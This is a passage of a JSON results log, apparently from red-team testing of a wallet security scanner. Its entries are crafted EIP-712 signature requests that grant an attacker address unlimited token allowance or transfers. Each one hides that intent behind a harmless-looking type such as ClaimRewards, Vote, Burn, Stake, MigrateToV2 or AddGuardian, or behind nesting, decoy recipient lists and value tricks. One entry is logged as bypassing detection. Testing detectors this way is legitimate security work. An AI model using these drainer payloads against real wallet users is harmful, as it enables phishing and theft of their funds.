v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:46:20.836Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:46:29.999Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:46:39.340Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:46:48.656Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:46:57.813Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:47:07.107Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:47:16.274Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:47:25.437Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:47:34.612Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:47:43.814Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:47:53.014Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:48:02.173Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:48:11.338Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:48:20.514Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:48:29.678Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:48:38.861Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:48:48.024Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN17-EIP3009-022", "timestamp": "2026-01-31T16:48:57.187Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xf657ca02b5f723c5e3bf2346e97632b1afbbcecc921cb02d410d86620cb3ac86\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN17-EIP3009-054", "timestamp": "2026-01-31T16:49:03.731Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD 